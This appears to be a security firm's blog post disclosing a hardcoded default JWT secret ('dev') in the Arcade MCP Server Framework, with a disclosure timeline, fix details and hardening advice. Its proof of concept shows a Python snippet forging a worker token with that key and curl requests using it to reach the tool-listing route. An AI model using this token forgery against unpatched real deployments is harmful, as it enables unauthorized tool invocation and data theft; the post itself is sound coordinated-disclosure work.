Qi Deng, Principal Threat Research Engineer | Aurascape
December 10th, 2025

🕑 8 minute read

Introduction

Model Context Protocol (MCP) and AI “agentic” frameworks are moving from experiments to production faster than most security teams can keep up. These systems don’t just answer questions—they call tools, hit internal APIs, read company data, and sometimes even execute workflows on behalf of users. 

That’s powerful. It’s also risky.

Recently, we took a closer look at an emerging MCP project called Arcade MCP Server Framework after its founder reached out on LinkedIn. What started as a curiosity check turned into a concrete security finding: a default configuration that allowed anyone with knowledge of a hardcoded key to remotely control HTTP-based MCP workers. 

This post walks through: 

• How we discovered the issue 
• Breakdown of the vulnerability
• A short PoC of the attack 
• How the Arcade team responded and quickly fixed the issue 
• Lessons for anyone building or deploying agent infrastructure 

Throughout the post, we’ll include short demo clips and screenshots to make the attack path and fix tangible. 

It should be noted that the Arcade team took this reported issue seriously and was able to fix it quickly. This security-focused mindset is critical, especially for AI systems.

How We Ended Up Looking At This MCP Framework 

At Aurascape, we spend a lot of time thinking about how AI agents interface with real systems—databases, SaaS tools, internal APIs, and more. Any framework that makes it easier for agents to call tools is, by definition, sitting in a sensitive position. 

When Arcade’s CEO connected on LinkedIn, we did what we usually do with new agent infra: 

• Skim the docs 
• Look at the quick-start examples 
• Ask a simple question: “If someone deploys this as written, what can go wrong?” 

In this case, the answer pointed to a security gap. Let’s dig into what we found and how we worked with them to promptly fix the gap. 

The Vulnerability At a Glance 

The short version: 

The arcade_mcp framework HTTP MCP workers shipped with a hardcoded default secret (“dev”) that was not disabled by default in production. Anyone who knew that public value could mint valid JWTs that granted unexpected access to internal routes, although this access was not elevated beyond what was already possible through the unauthenticated MCP routes hosted by the server. 

A few key details: 

• The HTTP worker used a JWT-based auth layer for some internal routes.  
• The signing key for those tokens was taken from ARCADE_WORKER_SECRET. 
• If that variable wasn’t set, the code defaulted to the literal string “dev”. 
• The official README showed how to start an HTTP server without mentioning the need to rotate or override this secret. 

So, anyone who…

• Followed the quick start, and 
• Exposed that HTTP server beyond localhost 
• Added their own MCP authorization in front of the HTTP server (since MCP servers built with arcade-mcp framework are unauthenticated) 

…was effectively running an MCP server whose “secret” was publicly known. 

Even if the attacker didn’t know which tools were available, the server provided discovery endpoints that made enumeration trivial. 

Walking Through The Attack 

Below is a simplified version of the proof-of-concept we used. The full technical report and code are linked at the end of this post.

1. Start the HTTP worker using the official guide

From the examples directory: 

cd examples/mcp_servers/simple/src/simple 
python server.py http

No special configuration, no ARCADE_WORKER_SECRET set—just the documented command. 

2. Verify unauthenticated access is blocked

First, we confirm that the auth layer exists:

curl -s -D - http://127.0.0.1:8000/worker/tools

Response:

HTTP/1.1 403 Forbidden 
...

So far, so good. 

3. Forge a valid token using the default key 

Because the worker secret defaults to “dev”, an attacker doesn’t need to guess.

They can mint a valid JWT locally: 

import jwt 
 
token = jwt.encode( 
    {"ver": "1", "aud": "worker"}, 
    "dev",               # default worker secret 
    algorithm="HS256", 
) 
 
print(token)

4. Re-send the request with the forged JWT

curl -s -D - \
  -H "Authorization: Bearer $(python forge_token.py)" \
  http://127.0.0.1:8000/worker/tools

This time, the server replies:

HTTP/1.1 200 OK
Content-Type: application/json
...

{
  "tools": [
    ...
  ]
}

The forged token is accepted as if it came from a trusted client.

From there, the attacker can:

• Enumerate all available tools
• Call /worker/tools/invoke to execute them
• Capture any sensitive output (API keys, database rows, internal service data, etc.)

The impact of a compromise depends on how each tool is set up. There are no additional protections provided on top of the already-unprotected MCP routes.

Video Walkthrough: Unauthorized HTTP Worker Access

Why This Matters Beyond One Project

It’s tempting to dismiss this kind of bug as “just” a development misconfiguration. After all, many projects ship with easy defaults.

But in the world of MCP and agent frameworks, a few things are different:

Tools are powerful by design.
Agents are often given capabilities that would normally require strong access controls: running shell commands, querying internal APIs, reading tickets, or interacting with customer data.

HTTP workers are naturally tempting to expose.
Once there’s an HTTP interface, it’s only a matter of time before someone runs it behind a reverse proxy or on a shared cluster—especially if the docs present it as a first-class option.

“Just for dev” settings tend to escape into production.
History is full of examples: default passwords on routers, test keys in mobile apps, debug endpoints left enabled. Agent infra will be no different unless we design for it.

So, while the literal secret here was “dev”, the real issue is broader: we can’t afford insecure defaults in MCP server framework.

Luckily, the Arcade team agrees and was quick to address the fix.

Coordinated Disclosure and Vendor Response

We followed a standard responsible disclosure process and coordinated directly with the Arcade team. Below is a concise timeline of the interaction:

2025-11-21 — Vulnerability Report Submitted
We sent a detailed report of the issue to the Arcade security team via their published security contact.

2025-11-21 — Vendor Acknowledgment
Arcade confirmed receipt of the report the same day and began internal review.

2025-11-24 — Patch Implemented
The Arcade team developed and submitted a fix via PR #691, addressing the insecure default secret behavior.

2025-11-24 — Security Release Published
Arcade released v1.9.1, which includes the fix and updated configuration logic to prevent this class of issue.

2025-12-01 — CVE Assigned
The vulnerability received the identifier CVE-2025-66454, formalizing the issue for public reference.

What Actually Caused The Bug?

At a code level, the vulnerability came down to a few design decisions interacting in an unfortunate way:

A default secret.
ArcadeSettings.server_secret used “dev” as a fallback if no environment variable was provided.

No override enforcement.
The worker setup (FastAPIWorker / BaseWorker._set_secret) accepted that value without requiring an explicit configuration.

Docs that didn’t mention secret rotation.
The quick start focused on tool configuration and .env secrets, not on changing the worker secret itself.

Each of these, in isolation, might look harmless. Together, they form a clear path:

Public code → Public default key → No override requirement → Unexpected access to internal routes

This is a pattern we expect to see repeated across many early agent frameworks unless security gets a seat at the design table.

Lessons For Building MCP Servers

If you’re building or deploying MCP servers, gateways, or any agent runtime, this case study suggests a few concrete practices:

Never ship meaningful secrets with fixed defaults.

If a value affects who can call tools, it shouldn’t have a baked-in string default at all.

Prefer one of:

• Generate a new random secret on first run and store it locally.
• Require an explicit environment variable or config value and fail fast if missing.

Treat dev HTTP servers as potentially reachable.

Even if you intend something to be “dev only,” assume:

• It might get bound to 0.0.0.0.
• It might end up behind a reverse proxy.
• Someone will eventually run it in a shared or cloud environment.

Build guardrails accordingly.

Make secure configuration the path of least resistance.

Docs matter. Quick starts matter even more.

• If an HTTP worker exists, the quick start should show how to run it securely, not just how to run it.
• Required secrets (like worker signing keys) should be front and center.
• Where possible, sample configs should fail loudly if a critical security value is missing.

Make security clear and simple for your users.

Design with blast radius in mind.

Ask: If an attacker could invoke tools as if they were a trusted agent, what’s the worst that could happen?

Then:

• Segment tools by privilege level.
• Limit data exposure per tool call.
• Log aggressively and ship easy-to-use audit hooks.

Agent infra is inherently high-privilege. We need to design for that reality.

How Aurascape Approaches Agent Security

At Aurascape, we see MCP and agentic architectures as the next big application platform—and we expect security incidents here to look more like cloud misconfigurations than traditional prompt injection bugs.

That’s why we:

• Proactively review emerging agent frameworks and gateways.
• Focus on configuration pitfalls and insecure defaults, not just exotic attacks.
• Follow responsible disclosure processes with maintainers.
• Share case studies like this so others can avoid the same mistakes.

Closing Thoughts

This is not a story about exposing a startup. It is an example of a pattern that will appear again as AI agents connect to real workflows and sensitive systems.

In the age of autonomous tooling, configuration becomes security.

A single hardcoded secret, an overlooked default, or a quick start that feels harmless can turn a development setup into an exploitable agent system. As agent frameworks mature and adoption accelerates, these configuration pitfalls will create growing risk.

The encouraging part is that these issues can be fixed. When a vendor responds quickly and transparently, as the Arcade team did, the entire ecosystem benefits. Users, developers, and researchers all gain from a culture of responsible reporting and thoughtful remediation.

At Aurascape, we view findings like this as signals that the AI infrastructure world is entering a new stage. Security must be built in from the very beginning, not added as a late layer. By sharing case studies and promoting clear guidelines, we want to help the industry move toward safer and more reliable agent deployment.

AI adoption will continue to accelerate. The organizations that thrive will be the ones that understand this simple truth: secure configuration and strong governance are essential for every agent, every tool, and every environment.

Contact Aurascape